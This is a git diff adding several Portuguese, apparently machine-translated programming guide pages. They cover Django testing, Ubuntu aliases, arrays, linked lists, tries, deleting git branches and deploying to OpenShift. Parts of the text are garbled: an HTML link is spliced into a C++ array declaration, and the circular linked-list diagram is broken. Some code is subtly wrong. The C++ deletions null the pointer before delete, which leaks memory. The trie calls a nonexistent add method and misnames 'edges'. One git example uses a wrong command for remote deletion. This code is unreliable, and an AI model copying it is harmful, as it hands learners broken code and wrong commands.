+Então falhou, mas nos deu alguns conselhos úteis. Primeiro, o AssertionError. 'Bem-vindo ao Django' não encontrado em 'Página de carregamento de problemas'. Isso significa que o título de `http://localhost:8000` era 'Página de carregamento de problemas'. Se você navegar até o URL, verá que a página da Web não estava disponível.
+
+Vamos tentar executar nosso servidor Django para fazer o teste passar. Volte para a guia do terminal que está no ambiente virtual do `taskplanner` de `taskplanner` e execute nosso servidor.
+```
+python manage.py runserver 
+```
+
+Você deve ver algo como o seguinte:
+```
+Performing system checks... 
+ 
+ System check identified no issues (0 silenced). 
+ 
+ You have unapplied migrations; your app may not work properly until they are applied. 
+ Run 'python manage.py migrate' to apply them. 
+ 
+ March 06, 2016 - 20:53:38 
+ Django version 1.9.4, using settings 'taskplanner.settings' 
+ Starting development server at http://127.0.0.1:8000/ 
+ Quit the server with CONTROL-C. 
+```
+
+Não se preocupe com a mensagem de migrações não aplicadas ainda.
+
+Agora que temos um servidor em execução em `http://localhost:8000` , vamos executar nosso teste novamente.
+
+Volte para a guia do outro terminal que está no ambiente virtual `taskplanner_test` e execute o seguinte uma vez mais:
+```
+python manage.py test functional_tests 
+```
+
+Você deve ver o seguinte.
+```
+Creating test database for alias 'default'... 
+ . 
+ ---------------------------------------------------------------------- 
+ Ran 1 test in 4.033s 
+ 
+ OK 
+ Destroying test database for alias 'default'... 
+```
+
+## O que fizemos até agora
+
+Nosso primeiro teste de passagem!
+
+Nós cobrimos muito neste artigo. Criamos nosso primeiro projeto, configuramos ambientes virtuais para fins de desenvolvimento e teste, escrevemos nosso primeiro teste funcional e seguimos o processo de desenvolvimento orientado por teste, escrevendo um teste com falha e, em seguida, fazendo com que ele passasse.
+
+## Usando modelos iniciais
+
+Você pode economizar muito tempo iniciando o kickstart em seu projeto com um modelo inicial de django. Esses projetos usam práticas recomendadas que poupam dores de cabeça mais tarde quando o projeto cresce. Alguns dos projetos mais populares são
+
+*   [Cortador de biscoito](https://github.com/pydanny/cookiecutter-django)
+*   [Partida de Hackathon](https://github.com/DrkSephy/django-hackathon-starter)
+*   [Beira](https://github.com/arocks/edge)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/miscellaneous/customizing-ubuntu/index.md b/client/src/guide/portuguese/miscellaneous/customizing-ubuntu/index.md
new file mode 100644
index 0000000000..4632e2953e
--- /dev/null
+++ b/client/src/guide/portuguese/miscellaneous/customizing-ubuntu/index.md
@@ -0,0 +1,34 @@
+---
+title: Customizing Ubuntu
+localeTitle: Personalizando o Ubuntu
+---
+Este tutorial mostra como adicionar aliases ao terminal, aprimorando a unidade e removendo o bloatware pré-instalado.
+
+## Passos:
+
+### Removendo o Bloatware
+
+Para remover todo o bloatware pré-instalado devido a preocupações com a privacidade ou para manter seu sistema operacional mínimo, verifique [essa](https://gist.github.com/ansell/61313400e26cd42289f8) essência.
+
+### Aliases
+
+Você pode criar um alias temporário como este:
+```
+alias alias_name="command_to_run" 
+```
+
+No entanto, quando você fechar sua sessão de shell, esse alias deixará de existir.
+
+Para criar um alias permanente, você precisará criar o arquivo `~/.bash_aliases` usando o comando `touch ~/.bash_aliases` . Depois de abrir esse arquivo com o editor de texto escolhido, adicione uma linha na parte inferior do documento, semelhante ao exemplo acima.
+
+Para saber mais, o DigitalOcean tem um ótimo tutorial que pode ser encontrado [aqui](https://www.digitalocean.com/community/tutorials/an-introduction-to-useful-bash-aliases-and-functions) .
+
+### Ferramenta Unity Tweak
+
+A ferramenta Unity Tweak oferece aos usuários várias opções de configuração para ajustar o Unity Desktop.
+
+Para instalar o Unity Tweak Tool, digite `sudo apt install unity-tweak-tool` e, para iniciá-lo, o `unity-tweak-tool` .
+
+[Aqui](http://www.techrepublic.com/blog/linux-and-open-source/six-must-have-ubuntu-unity-tweaks/) está uma lista dos seis must-have Ubuntu Unity Tweaks.
+
+[**Baixe e instale o Ubuntu Desktop**](//forum.freecodecamp.com/t/download-and-install-ubuntu-desktop/18383) | [**Índice**](//forum.freecodecamp.com/t/setting-up-ubuntu-for-programming/18388) | [**Jazzing up the Terminal**](//forum.freecodecamp.com/t/jazzing-up-the-terminal/18386)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/miscellaneous/data-structure-arrays/index.md b/client/src/guide/portuguese/miscellaneous/data-structure-arrays/index.md
new file mode 100644
index 0000000000..b6c66a5238
--- /dev/null
+++ b/client/src/guide/portuguese/miscellaneous/data-structure-arrays/index.md
@@ -0,0 +1,90 @@
+---
+title: Data Structure Arrays
+localeTitle: Matrizes de estrutura de dados
+---
+Internamente, `array` é um tipo de estrutura de dados que pode armazenar uma coleção sequencial de tamanho fixo de elementos do mesmo tipo. Uma `array` é usada para armazenar uma coleção de dados, mas geralmente é mais útil pensar em uma `array` como uma coleção de variáveis ​​do mesmo tipo.
+
+`array` consiste em localizações de memória contíguas. O endereço mais baixo corresponde ao primeiro elemento e o endereço mais alto ao último elemento.
+
+## Matrizes em C ++
+
+C ++ fornece uma estrutura de dados, `array` , que armazena uma coleção seqüencial de tamanho fixo de elementos do mesmo tipo de dados. Uma `array` é usada para armazenar uma coleção de dados, mas é melhor pensar em uma `array` como uma coleção de variáveis ​​do mesmo tipo.
+
+#### Declaração de `array`
+```
+int intarray<a href='https://repl.it/CWZE/3' target='_blank' rel='nofollow'>10]; // Declares an array of integer type of size 10 with elements having random values. Index ranges from 0 to 9(ie size-1). 
+ int intarray[10] = { 0 }; // Declares an array of integer of size 10 with all elements having value 0 
+ 
+ // Choose one the two declarations and then move ahead. 
+```
+
+#### Inserindo elementos no `array` :
+```
+intarray[0] = 1; // Inserts an integer value of 1 at index 0 
+ intarray[1] = 0; // Inserts an integer value of 0 at index 1 
+ intarray[2] = -1; // Inserts an integer value of -1 at index 2 
+ intarray[3] = 1; // Inserts an integer value of 1 at index 3 
+```
+
+#### Imprimindo uma `array` :
+```
+std::cout << intarray[0] << std::endl; // Returns 1 which is element at index of the array 
+ std::cout << intarray[11] << std::endl; // Would give aa "Garbage" value as there is no element at index 11 of array. 
+ // That memory location is beyond the range of the array. 
+ 
+ // To print all the elements of the array 
+ for(int i = 0; i < n; i++) 
+    std::cout << intarray[i] << std::endl; 
+```
+
+#### Operações básicas no `array` :
+```
+std::cout << sizeof(intarray)/sizeof(intarray[0]) << std::endl; // Returns the length of the array ie 10. 
+ std::cout << sizeof(intarray[0]) << std::endl; // Returns length in bytes of one array item ie 4 as it is an integer 
+```
+
+: rocket: \[Run Code ## Matrizes em Python Python não possui uma estrutura de dados de `array` nativa. Uma `array` no Python não deve ser confundida com a `list` . A principal diferença entre uma `list` e uma `array` no Python é que uma `list` pode ter diferentes tipos de valores, enquanto uma `array` deve ter todos os valores do mesmo tipo. #### Declaração de `array`
+```
+from array import array 
+ intarray = array('i') # Declares an array of integer type 
+```
+
+#### Inserindo elementos no `array` :
+```
+intarray.append(1) # Inserts an integer value of 1 to the array 
+ intarray.append(0) # Inserts an integer value of 0 to the array 
+ intarray.append(-1) # Inserts an integer value of -1 to the array 
+ intarray.append(1) # Inserts an integer value of 1 to the array 
+ 
+ intarray.append('d') # Would give a TypeError as the array is of integer type. 
+ 
+ #Resolve the above error and then move ahead. 
+```
+
+#### Imprimindo uma `array` :
+```
+print(intarray) # Returns array('i', [1, 4, -1]) 
+ print(intarray[0]) # Returns 1 which is the element at index 0 of the array 
+ print(intarray[3]) # Would give IndexError as there is no element at index 3 of array. 
+ 
+ #Resolve the above error and then move ahead. 
+ 
+ # To print all the elements of the array 
+ for i in intarray: 
+    print(i) 
+```
+
+#### Operações básicas no `array` :
+```
+len(intarray) # Returns the length of the array ie 3 
+ intarray.itemsize # Returns length in bytes of one array item ie 4 as it is an integer 
+ intarray.count(1) # Returns the number of occurrences of 1 in the array ie 2 
+ intarray.insert(1, 3) # Insert a new item with value x in the array before position i 
+ intarray.remove(1) # Remove the first occurrence of 1 from the array 
+ intarray.reverse() # Reverse the order of the items in the array 
+ intarray.pop(1) # Removes the item with the index 1 from the array and returns it 
+```
+
+![:rocket:](//forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=2 ":foguete:") [Executar código](https://repl.it/CWJB)
+
+[Documentos oficiais](https://docs.python.org/3.5/library/array.html)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/miscellaneous/data-structure-linked-list/index.md b/client/src/guide/portuguese/miscellaneous/data-structure-linked-list/index.md
new file mode 100644
index 0000000000..4d97a5926e
--- /dev/null
+++ b/client/src/guide/portuguese/miscellaneous/data-structure-linked-list/index.md
@@ -0,0 +1,445 @@
+---
+title: Data Structure Linked List
+localeTitle: Lista vinculada da estrutura de dados
+---
+Assim como uma guirlanda é feita com flores, uma lista vinculada é composta de nós. Nós chamamos cada flor nesta guirlanda particular para ser um nó. E cada um dos pontos do nó para o próximo nó nesta lista, assim como ele tem dados (aqui é tipo de flor).
+
+## Tipos
+
+1.  Lista unicamente vinculada
+
+As listas unicamente ligadas contêm nós que possuem um campo de `data` , bem como um `next` campo, que aponta para o próximo nó na sequência. As operações que podem ser executadas em listas unicamente vinculadas são inserção, exclusão e passagem.
+
+\`
+```
+Singly Link List 
+```
+
+* * *
+```
+   head 
+    | 
+    | 
+  +-----+--+      +-----+--+      +-----+------+ 
+  |  1  |o----->  |  2  |o----->  |  3  | NULL | 
+  +-----+--+      +-----+--+      +-----+------+ 
+```
+
+\`
+
+Aplicação
+
+Implementação interna do CPython, os frames e as variáveis ​​avaliadas são mantidos em uma pilha.
+
+Para isso, precisamos fazer uma iteração somente para a frente e para a cabeça, portanto, apenas a lista vinculada é usada.
+
+1.  Lista Duplicada Vinculada
+
+As listas duplamente encadeadas contêm o nó que tem o campo de `data` , o `next` campo e outro campo de link `prev` apontando para o nó anterior na sequência.
+
+\`
+
+Lista Duplicada Vinculada
+
+* * *
+```
+          head 
+           | 
+           | 
+  +------+-----+--+    +--+-----+--+       +-----+------+ 
+  |      |     |o------>  |     |o------>  |     |      | 
+  | NULL |  1  |          |  2  |          |  3  | NULL | 
+  |      |     |  <------o|     |  <------o|     |      | 
+  +------+-----+--+    +--+-----+--+       +-----+------+ 
+```
+
+\`
+
+Aplicação
+
+O cache do navegador, que permite que você aperte o botão BACK e FORWARD. Aqui, precisamos manter uma lista duplamente vinculada, com `URLs` como campo de dados, para permitir o acesso em ambas as direções. Para ir ao URL anterior, usaremos o campo `prev` e, para ir para a próxima página, usaremos o `next` campo.
+
+1.  Lista vinculada circular
+
+Listas ligadas circulares é uma lista ligada unicamente na qual o último nó, o `next` campo aponta para o primeiro nó na sequência.
+
+\`
+
+Lista vinculada circular
+
+* * *
+```
+     head 
+      | 
+      | 
+    +-----+--+      +-----+--+      +-----+--+ 
+```
+
+\-> | 1 | o -----> | 2 | o -----> | 3 | o ----  
+| + ----- + - + + ----- + - + + ----- + - + |  
+| |
+
+* * *
+
+\`
+
+**Aplicação**
+
+Problema de timesharing resolvido pelo sistema operacional.
+
+Em um ambiente de tempo compartilhado, o sistema operacional deve manter uma lista de usuários presentes e deve alternadamente permitir que cada usuário use uma pequena parte do tempo da CPU, um usuário por vez. O sistema operacional selecionará um usuário, permitirá que ele use uma pequena quantidade de tempo de CPU e passará para o próximo usuário.
+
+Para este aplicativo, não deve haver nenhum ponteiro NULL, a menos que não haja absolutamente ninguém solicitando tempo de CPU, ou seja, a lista está vazia.
+
+## Operações básicas
+
+1.  Inserção
+
+Para adicionar um novo elemento à lista.
+
+\`
+
+Inserção no começo
+
+* * *
+
+*   Crie um novo nó com dados fornecidos.
+*   Aponte o novo nó ao `next` da `head` antiga.
+*   Ponto de `head` a este novo nó.
+
+Inserção no meio / fim
+
+* * *
+
+Inserção após o nó X.
+
+*   Crie um novo nó com dados fornecidos.
+*   Aponte o novo nó ao `next` do antigo X `next` .
+*   O ponto X está ao `next` deste novo nó.  
+    \`
+
+**Complexidade do Tempo: O (1)**
+
+1.  Eliminação
+
+Para excluir o elemento existente da lista.
+
+\`
+
+Exclusão no começo
+
+* * *
+
+*   Obter o nó apontado pela `head` como Temp.
+*   Ponto de `head` para o Temp `next` .
+*   Memória livre usada pelo nó Temp.
+
+Exclusão no meio / fim
+
+* * *
+
+Exclusão após o nó X.
+
+*   Obtenha o nó apontado por `X` como Temp.
+*   Do Ponto X `next` à da Temp `next` .
+*   Memória livre usada pelo nó Temp.  
+    \`
+
+**Complexidade do Tempo: O (1)**
+
+1.  Traversing
+
+Para viajar pela lista.
+
+\`
+
+Traversal
+
+* * *
+
+*   Obter o nó apontado pela `head` como atual.
+*   Verifique se Current não é nulo e exiba-o.
+*   Ponto atual para o atual `next` e passar para o passo acima.  
+    \`
+
+**Complexidade do tempo: O (n) // Aqui n é o tamanho da lista de links**
+
+## Implementação
+
+### Implementação de C ++ da lista ligada individualmente
+```
+// Header files 
+ #include <iostream> 
+ 
+ struct node 
+ { 
+    int data; 
+    struct node *next; 
+ }; 
+ 
+ // Head pointer always points to first element of the linked list 
+ struct node *head = NULL; 
+```
+
+#### Imprimindo dados em cada nó
+```
+// Display the list 
+ void printList() 
+ { 
+    struct node *ptr = head; 
+ 
+    // Start from the beginning 
+ while(ptr != NULL) 
+ { 
+    std::cout << ptr->data << " "; 
+    ptr = ptr->next; 
+ } 
+ 
+ std::cout << std::endl; 
+ } 
+```
+
+#### Inserção no começo
+```
+// Insert link at the beginning 
+ void insertFirst(int data) 
+ { 
+    // Create a new node 
+    struct node *new_node = new struct node; 
+ 
+    new_node->data = data; 
+ 
+ // Point it to old head 
+ new_node->next = head; 
+ 
+ // Point head to new node 
+ head = new_node; 
+ 
+ std::cout << "Inserted successfully" << std::endl; 
+ } 
+```
+
+#### Exclusão no começo
+```
+// Delete first item 
+ void deleteFirst() 
+ { 
+    // Save reference to head 
+    struct node *temp = head; 
+ 
+    // Point head to head's next 
+ head = head->next; 
+ 
+ // Free memory used by temp 
+ temp = NULL: 
+ delete temp; 
+ 
+ std::cout << "Deleted successfully" << std::endl; 
+ } 
+```
+
+#### Tamanho
+```
+// Find no. of nodes in link list 
+ void size() 
+ { 
+    int length = 0; 
+    struct node *current; 
+ 
+    for(current = head; current != NULL; current = current->next) 
+ { 
+    length++; 
+ } 
+ 
+ std::cout << "Size of Linked List is " << length << std::endl; 
+ } 
+```
+
+#### Procurando
+```
+// Find node with given data 
+ void find(int data){ 
+ 
+    // Start from the head 
+ struct node* current = head; 
+ 
+ // If list is empty 
+ if(head == NULL) 
+ { 
+    std::cout << "List is empty" << std::endl; 
+    return; 
+ } 
+ 
+ // Traverse through list 
+ while(current->data != data){ 
+ 
+    // If it is last node 
+    if(current->next == NULL){ 
+        std::cout << "Not Found" << std::endl; 
+        return; 
+    } 
+    else{ 
+        // Go to next node 
+        current = current->next; 
+    } 
+ } 
+ 
+ // If data found 
+ std::cout << "Found" << std::endl; 
+ } 
+```
+
+#### Exclusão após um nó
+```
+// Delete a node with given data 
+ void del(int data){ 
+ 
+    // Start from the first node 
+ struct node* current = head; 
+ struct node* previous = NULL; 
+ 
+ // If list is empty 
+ if(head == NULL){ 
+    std::cout << "List is empty" << std::endl; 
+    return ; 
+ } 
+ 
+ // Navigate through list 
+ while(current->data != data){ 
+ 
+    // If it is last node 
+    if(current->next == NULL){ 
+        std::cout << "Element not found" << std::endl; 
+        return ; 
+    } 
+    else { 
+        // Store reference to current node 
+        previous = current; 
+        // Move to next node 
+        current = current->next; 
+    } 
+ 
+ } 
+ 
+ // Found a match, update the node 
+ if(current == head) { 
+    // Change head to point to next node 
+    head = head->next; 
+ } 
+ else { 
+    // Skip the current node 
+    previous->next = current->next; 
+ } 
+ 
+ // Free space used by deleted node 
+ current = NULL; 
+ delete current; 
+ std::cout << "Deleted succesfully" << std::endl; 
+ } 
+```
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 ":foguete:") [Executar código](https://repl.it/CXVt/1)
+
+### Implementação de Python da Lista Simplesmente Vinculada
+```
+class Node(object): 
+    # Constructor 
+    def __init__(self, data=None, next=None): 
+        self.data = data 
+        self.next = next 
+ 
+    # Function to get data 
+ def get_data(self): 
+    return self.data 
+ 
+ # Function to get next node 
+ def get_next(self): 
+    return self.next 
+ 
+ # Function to set next field 
+ def set_next(self, new_next): 
+    self.next = new_next 
+ class LinkedList(object): 
+    def __init__(self, head=None): 
+        self.head = head 
+```
+
+#### Inserção
+```
+    # Function to insert data 
+ def insert(self, data): 
+    # new_node is a object of class Node 
+    new_node = Node(data) 
+    new_node.set_next(self.head) 
+    self.head = new_node 
+    print("Node with data " + str(data) + " is created succesfully") 
+```
+
+#### Tamanho
+```
+    # Function to get size 
+ def size(self): 
+    current = self.head 
+    count = 0 
+    while current: 
+        count += 1 
+        current = current.get_next() 
+    print("Size of link list is " + str(count)) 
+```
+
+#### Procurando
+```
+    # Function to search a data 
+ def search(self, data): 
+    current = self.head 
+    found = False 
+    while current and found is False: 
+        if current.get_data() == data: 
+            found = True 
+        else: 
+            current = current.get_next() 
+    if current is None: 
+        print("Node with data " + str(data) + " is not present") 
+    else: 
+        print("Node with data " + str(data) + " is found") 
+```
+
+#### Exclusão após um nó
+```
+    # Function to delete a node with data 
+ def delete(self, data): 
+    current = self.head 
+    previous = None 
+    found = False 
+    while current and found is False: 
+        if current.get_data() == data: 
+            found = True 
+        else: 
+            previous = current 
+            current = current.get_next() 
+    if current is None: 
+        print("Node with data " + str(data) + " is not in list") 
+    elif previous is None: 
+        self.head = current.get_next() 
+        print("Node with data " + str(data) + " is deleted successfully") 
+    else: 
+        previous.set_next(current.get_next()) 
+        print("Node with data " + str(data) + " is deleted successfully") 
+```
+
+![:rocket:](//forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=2 ":foguete:") [Executar código](https://repl.it/CVq3/2)
+
+**Vantagens**
+
+1.  As listas vinculadas são uma estrutura de dados dinâmica, que pode aumentar e diminuir, alocar e desalocar a memória enquanto o programa está em execução.
+2.  Inserção e exclusão do nó são facilmente implementadas em uma lista encadeada em qualquer posição.
+
+**Desvantagens**
+
+1.  Eles usam mais memória do que matrizes por causa da memória usada por seus ponteiros ( `next` e `prev` ).
+2.  O acesso aleatório não é possível na lista vinculada. Temos que acessar os nós sequencialmente.
+3.  É mais complexo que array. Se um idioma oferecer suporte à verificação de limite de matriz automaticamente, os Arrays o servirão melhor.
+
+#### Nota
+
+Nós temos que usar free () em C e delete em C ++ para liberar o espaço usado pelo nó deletado, enquanto, em Python e Java, o espaço livre é coletado automaticamente pelo coletor de lixo.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/miscellaneous/data-structure-trie/index.md b/client/src/guide/portuguese/miscellaneous/data-structure-trie/index.md
new file mode 100644
index 0000000000..66b01f1912
--- /dev/null
+++ b/client/src/guide/portuguese/miscellaneous/data-structure-trie/index.md
@@ -0,0 +1,125 @@
+---
+title: Data Structure Trie
+localeTitle: Estrutura de Dados Trie
+---
+## Introdução ao Trie
+
+A palavra trie é um inflix da palavra "re **trie** val", porque o trie pode encontrar uma única palavra em um dicionário com apenas um prefixo da palavra.  
+Trie é uma estrutura de dados de recuperação de dados eficiente, usando trie, complexidades de busca podem ser trazidas para um limite ideal, ou seja, o comprimento da string.  
+É uma estrutura de árvore multi-way útil para armazenar strings ao longo de um alfabeto, quando os armazenamos.  
+Ele tem sido usado para armazenar grandes dicionários de inglês, digamos palavras, em programas de verificação ortográfica.  
+No entanto, a penalidade nas tentativas é o requisito de armazenamento.
+
+## O que é um trie?
+
+A trie é uma árvore como estrutura de dados que armazena strings e ajuda a encontrar os dados associados a essa string usando o prefixo da string.  
+Por exemplo, digamos que você planeje criar um dicionário para armazenar cadeias de caracteres junto com seus significados. Você deve estar se perguntando por que não posso simplesmente usar uma tabela de hash para obter as informações.  
+Sim, você obviamente pode obter informações usando uma tabela de hash, mas as tabelas de hash só podem encontrar dados em que a string corresponda exatamente àquela que adicionamos. Mas trie nos dará a capacidade de encontrar seqüências com prefixos comuns, um caractere ausente etc em menor tempo, em comparação com uma tabela de hash.  
+A trie tipicamente se parece com isso,
+
+![Trie](//discourse-user-assets.s3.amazonaws.com/original/2X/c/c43e222a6f9152512d73f97b8117db5c074bbc8e.png)
+
+Esta é uma imagem de um Trie, que armazena as palavras {assoc, algo, all, also, tree, trie}.
+
+## Como implementar um trie?
+
+Vamos implementar um trie em python, para armazenar palavras com seus significados do dicionário inglês.
+```
+ALPHABET_SIZE = 26 # For English 
+ 
+ class TrieNode: 
+    def __init__(self): 
+        self.edges = [None]*(ALPHABET_SIZE) # Each index respective to each character. 
+        self.meaning = None # Meaning of the word. 
+        self.ends_here = False # Tells us if the word ends here. 
+```
+
+Como você pode ver, as bordas têm 26 de comprimento, cada índice se referindo a cada caractere no alfabeto. 'A' corresponde a 0, 'B' a 1, 'C' a 2… 'Z' a 25º índice. Se o personagem que você está procurando está apontando para `None` , isso significa que a palavra não está lá no trie.
+
+Um típico Trie deve implementar pelo menos estas duas funções:
+
+*   `add_word(word,meaning)`
+*   `search_word(word)`
+*   `delete_word(word)`
+
+Além disso, pode-se acrescentar algo como
+
+*   `get_all_words()`
+*   `get_all_words_with_prefix(prefix)`
+
+#### Adicionando o Word ao trie
+```
+    def add_word(self,word,meaning): 
+        if len(word)==0: 
+            self.ends_here = True # Because we have reached the end of the word 
+            self.meaning = meaning # Adding the meaning to that node 
+            return 
+        ch = word[0] # First character 
+        # ASCII value of the first character (minus) the ASCII value of 'a'-> the first character of our ALPHABET gives us the index of the edge we have to look up. 
+        index = ord(ch) - ord('a') 
+        if self.edges[index] == None: 
+            # This implies that there's no prefix with this character yet. 
+            new_node = TrieNode() 
+            self.edges[index] = new_node 
+ 
+        self.edges[index].add(word[1:],meaning) #Adding the remaining word 
+```
+
+#### Recuperando dados
+```
+    def search_word(self,word): 
+        if len(word)==0: 
+            if self.ends_here: 
+                return True 
+            else: 
+                return "Word doesn't exist in the Trie" 
+        ch = word[0] 
+        index = ord(ch)-ord('a') 
+        if self.edge[index]== None: 
+            return False 
+        else: 
+            return self.edge[index].search_word(word[1:]) 
+```
+
+A função `search_word` nos dirá se a palavra existe no Trie ou não. Como o nosso é um dicionário, precisamos buscar o significado também, agora vamos declarar uma função para fazer isso.
+```
+    def get_meaning(self,word): 
+        if len(word)==0 : 
+            if self.ends_here: 
+                return self.meaning 
+            else: 
+                return "Word doesn't exist in the Trie" 
+        ch = word[0] 
+        index = ord(ch) - ord('a') 
+        if self.edges[index] == None: 
+            return "Word doesn't exist in the Trie" 
+        else: 
+            return self.edges[index].get_meaning(word[1:]) 
+```
+
+#### Excluindo dados
+
+Ao excluir dados, você só precisa alterar a variável `ends_here` para `False` . Fazer isso não altera os prefixos, mas elimina o significado e a existência da palavra do trie.
+```
+    def delete_word(self,word): 
+        if len(word)==0: 
+            if self.ends_here: 
+                self.ends_here = False 
+                self.meaning = None 
+                return "Deleted" 
+            else: 
+                return "Word doesn't exist in the Trie" 
+        ch = word[0] 
+        index = ord(ch) - ord('a') 
+        if self.edges[index] == None: 
+            return "Word doesn't exist in the Trie" 
+        else: 
+            return self.edges[index].delete_word(word[1:]) 
+```
+
+![:rocket:](//forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=2 ":foguete:") [Executar código](https://repl.it/CWbr)
+
+## Recursos
+
+*   Para ler mais, você pode tentar este tutorial [topcoder](https://www.topcoder.com/community/data-science/data-science-tutorials/using-tries/) .
+*   Além disso, um tutorial de [geeksforgeeks](http://www.geeksforgeeks.org/trie-insert-and-search/)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/miscellaneous/delete-a-git-branch-both-locally-and-remotely/index.md b/client/src/guide/portuguese/miscellaneous/delete-a-git-branch-both-locally-and-remotely/index.md
new file mode 100644
index 0000000000..30a1353d32
--- /dev/null
+++ b/client/src/guide/portuguese/miscellaneous/delete-a-git-branch-both-locally-and-remotely/index.md
@@ -0,0 +1,66 @@
+---
+title: Delete a Git Branch Both Locally and Remotely
+localeTitle: Excluir um branch do Git local e remotamente
+---
+// localmente ((se você sabe o que está fazendo!) git branch -d localBranchName
+```
+// and then if you need to... 
+ // on remote 
+ git push origin :remoteBranchName 
+```
+
+## Quando excluir filiais?
+
+Normalmente, em um fluxo de contribuição, os `Branches` são uma ótima maneira de trabalhar em diferentes recursos, correções, etc., enquanto os isolam da base de código principal. Portanto, um repo pode ter um branch `master` e separar branches para trabalhar em diferentes recursos.
+
+Normalmente, quando o trabalho é concluído em um recurso e é recomendável excluir o ramo.
+
+## O fluxo de trabalho Excluir:
+
+Digamos que você tenha um `AwesomeRepo` chamado `AwesomeRepo` e `AwesomeRepo` hospedado no Github, em um local como `https://github.com/my_username/AwesomeRepo` .
+
+Também vamos supor que tem os ramos como:  
+`master`  
+`feature/some-cool-new-stuff`  
+`fix/authentication`  
+`staging`
+
+Para consistência, vamos supor que os nomes das ramificações sejam os mesmos tanto no `local` quanto no `remote` .
+
+Agora, digamos que você tenha concluído essa correção para autenticação e queira remover a `fix/authentication` da filial.
+
+## Excluindo a ramificação REMOTAMENTE:
+
+Simplesmente faça:
+
+`git push --delete <remote> <branch>` .
+
+Por exemplo: `git branch --delete origin fix/authentication`
+
+Se você receber o erro
+```
+error: unable to push to unqualified destination: remoteBranchName The destination refspec neither matches an existing ref on the remote nor begins with refs/, and we are unable to guess a prefix based on the source ref. error: failed to push some refs to 'git@repository_name' 
+```
+
+Talvez outra pessoa já tenha excluído o ramo. Tente sincronizar sua lista de ramificações usando
+```
+git fetch -p 
+```
+
+O manual do git diz -p, --prune Depois de buscar, remova qualquer ramificação de rastreamento remoto que não exista mais no controle remoto.
+
+## Excluindo o ramo LOCALMENTE:
+
+Primeiro check-out para um ramo diferente daquele que você deseja excluir:
+
+`git checkout <branch>` .
+
+Por exemplo: `git checkout master`
+
+O Git não permitirá que você exclua o branch em que você está no momento.
+
+Em seguida, continue com a exclusão:
+
+`git branch -D <branch>` .
+
+Por exemplo: `git branch -D fix/authentication`
\ No newline at end of file
diff --git a/client/src/guide/portuguese/miscellaneous/deploying-to-openshift/index.md b/client/src/guide/portuguese/miscellaneous/deploying-to-openshift/index.md
new file mode 100644
index 0000000000..3632e6d992
--- /dev/null
+++ b/client/src/guide/portuguese/miscellaneous/deploying-to-openshift/index.md
@@ -0,0 +1,67 @@
+---
+title: Deploying to Openshift
+localeTitle: Implantando no Openshift
+---
+Se você implantar seus aplicativos no Heroku, só poderá fazer o upload de cinco aplicativos; se desejar implantar um novo, será necessário verificar sua conta com seu cartão de crédito.
+
+![Heroku Error](//discourse-user-assets.s3.amazonaws.com/original/2X/2/27219029fea50142009b1521d5268c06ded15b57.jpg)
+
+Estas são as etapas que você precisa seguir para implantar no [OpenShift](https://www.openshift.com/app/account/new) .
+
+## Requisitos
+
+*   Uma conta no [OpenShift](https://www.openshift.com/app/account/new)
+*   Nosso aplicativo em um repositório [Git](//forum.freecodecamp.com/t/wiki-git-resources/13136)
+
+## Mudanças no seu código
+
+*   `app.listen` com `process.env.OPENSHIFT_NODEJS_PORT` e `process.env.OPENSHIFT_NODEJS_IP` , ambos exigem.
+*   Em seu **pacote.json,** configure seu `"main": 'yourMainFile.js` e `"script": { "start": "node yourMainFile.js" }`
+
+## Implantando nosso aplicativo
+
+*   [Adicione um novo aplicativo](https://openshift.redhat.com/app/console/application_types)
+
+![Escolha um cartucho de programação da web](//discourse-user-assets.s3.amazonaws.com/original/2X/e/e07c056ab351ee6bd728b8d5f648b3fac9c6bf86.jpg)
+
+*   Escolha um nome (a segunda entrada será a mesma para todos os seus aplicativos)
+
+\[ ![Preencha nosso nome e nosso domínio](//discourse-user-assets.s3.amazonaws.com/original/2X/9/9e929388f653ca9725e4dc2ca823f06cee493bc2.jpg)
+
+*   Preencha o nosso URL do Git e o nome da nossa agência
+
+![Onde você pode encontrar o seu URL Git e o nome da sua filial no Github](//discourse-user-assets.s3.amazonaws.com/original/2X/1/1a720934d9c2fd79a4aaa14b4ca07e6c1df7f2ce.jpg)
+
+![Preencha o seu URL do Git e o nome da sua agência](//discourse-user-assets.s3.amazonaws.com/original/2X/9/989e44c1af80c9b8f26883a3d897f377b3a27ca4.jpg)
+
+*   "Criar aplicativo". Vai levar algum tempo
+
+![Você será redirecionado aqui quando concluir a implantação](//discourse-user-assets.s3.amazonaws.com/original/2X/f/f0de3f67ec78b75df6786301560a903f76aec022.jpg)
+
+*   Entre em "Aplicativo", depois no seu aplicativo e verifique se ele foi iniciado.
+
+![Sua lista de aplicativos](//discourse-user-assets.s3.amazonaws.com/original/2X/d/d71ea954dd23eb341243bf568a3d67b682590274.jpg)
+
+![Detalhes da sua aplicação](//discourse-user-assets.s3.amazonaws.com/original/2X/4/497bacfd85fd2c8e815413df1e942a1a42f045f0.jpg)
+
+## Variáveis ​​Ambientais
+
+No meu caso eu tenho meu banco de dados no mLab, então eu preciso criar algumas variáveis ​​de ambiente.
+
+*   [Instale o Ruby e o rhc.](https://developers.openshift.com/getting-started/windows.html#client-tools)
+
+**O rhc** funciona apenas com as versões 1.9.3 e 2.0.0 do Ruby.
+
+*   [Configurando sua máquina](https://developers.openshift.com/getting-started/windows.html#rhc-setup)
+
+Se você está tendo problemas com a configuração do `rhc` , tente [esta](http://stackoverflow.com/questions/28896733/rhc-setup-gives-error-no-such-file-dl-import) resposta no StackOverflow.
+
+*   [Variáveis ​​de ambiente personalizadas](https://developers.openshift.com/managing-your-applications/environment-variables.html#custom-variables)
+
+`rhc env set VARIABLE=value VARIABLE2=value2 -a App_Name` .
+
+Você precisa reiniciar seu aplicativo para carregar as variáveis.
+
+Se você encontrar uma maneira melhor de resolver essa limitação. Sinta-se à vontade para contribuir com o nosso Wiki e compartilhá-lo conosco.
+
+Você pode verificar o aplicativo trabalhando em [http://voting-pitazo.rhcloud.com/#/polls](http://voting-pitazo.rhcloud.com/#/polls)
\ No newline at end of file
